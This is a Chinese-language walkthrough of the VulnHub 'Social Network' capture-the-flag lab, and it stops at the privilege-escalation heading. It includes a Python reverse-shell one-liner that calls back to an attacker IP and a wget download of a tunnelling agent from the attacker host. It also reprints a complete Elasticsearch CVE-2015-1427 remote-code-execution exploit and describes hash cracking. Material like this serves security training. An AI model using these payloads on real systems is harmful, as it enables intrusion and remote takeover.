[VulnHub] - Socialnetwork
靶机信息:
靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
难度:Medium
虚拟机:vmwork(NAT网络)
网络环境:靶机和攻击机在同一网络下
网络 服务可能没有启动,多尝试重启虚拟靶机即可
攻击机:192.168.100.175
靶机:192.168.100.142
docker靶机:172.17.0.3
1. 信息收集
提取指纹信息
arp-scan -l //局域网内网扫描
发现仅有一个192.168.100.142的IP地址,尝试使用namp扫描
nmap -Pn -sT 192.168.100.142 #-Pn 参数告诉 nmap 跳过主机发现阶段,即它不会尝试确定目标主机是否在线,-sT 参数指定使用 TCP 连接扫描。
发现开放了22 和5000端口
nmap -p22,5000 -Pn -sT -sV 192.168.100.142 //对端口服务进行枚举
这里的关键信息:服务器上运行着基于 python 的 werkzeug,说明服务器可以执行 python,python 版本为 2.7.15
接着对网站目录进行枚举
dirb http://192.168.100.142:5000 //对网站进行目录扫描
进行网页的访问
http://192.168.100.142:5000/
http://192.168.100.142:5000/admin
输入什么就输出什么,感觉没啥特别的
看起来是一个命令执行的页面,因为在前面我们进行枚举了,发现这个网页是一个python的,当然,可以尝试反弹shell
#反弹shell命令
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.175",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
已经连接进来了
当我在查看目录下的时候疑似发现了docker,ip地址也和访问的hhtp不一样
再次尝试看看是否是docker
ls /.dockerenv
cat /proc/1/cgroup
看来就是一个docker,尝试网段扫描,看看是否有利用的信息
for i in $(seq 1 65535); do ping -c 1 172.17.0.$i; done //进行16的网段进行遍历
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done //我这就遍历10个这里发现只有2,和3的ip可以查看,当然2又是本机的ip,我们对3的这个ip进行枚举,当然这里考虑到这个靶机不能nmap 所以,搭建内网穿透
2.内网穿透
项目地址
https://github.com/Dliv3/Venom/releases
需要把这个agent_linux_x64服务传到靶机里去
python http.server 80 //攻击机开启服务
./admin_linux_x64 -lport 9999 //攻击机
wget http://192.168.100.175/agent_linux_x64 //靶机
chmod +x agent_linux_x64 //靶机
./agent_linux_x64 -rhost 192.168.100.175 -rport 9999 //靶机
在kali配置sock5代理保存退出
vim /etc/proxychains4.conf
使用sock5代理
proxychains nmap -p9200 -Pn -sT -sV 172.17.0.3 //对获取的靶机进行枚举,发现开放了一个 9200 端口,Elasticsearch 服务,版本为 1.4.2
漏洞利用
searchsploit Elasticsearch
查看36337.py源代码
#!/bin/python2
# coding: utf-8
# Author: Darren Martyn, Xiphos Research Ltd.
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
__version__ = "20150309.1"
def banner():
print """\x1b[1;32m
▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒
▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░
▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░
░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" %(__version__)
def execute_command(target, command):
payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command)
try:
url = "http://%s:9200/_search?pretty" %(target)
r = requests.post(url=url, data=payload)
except Exception, e:
sys.exit("Exception Hit"+str(e))
values = json.loads(r.text)
fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
print fuckingjson.strip()
def exploit(target):
print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
while True:
cmd = raw_input("~$ ")
if cmd == "exit":
sys.exit("{!} Shell exiting!")
else:
execute_command(target=target, command=cmd)
def main(args):
banner()
if len(args) != 2:
sys.exit("Use: %s target" %(args[0]))
exploit(target=args[1])
if __name__ == "__main__":
main(args=sys.argv)
发现代码是python2
python2 36337.py #运行
proxychains python2 36337.py
proxychains python2 36337.py 172.17.0.3 #说要加上ip才可以,但是还得加上代理
发现passwords下有用户名和密码的hash
MD5解密john得到密码为1337hack ssh登录
服务版本为3.13 系统为linux
本地提权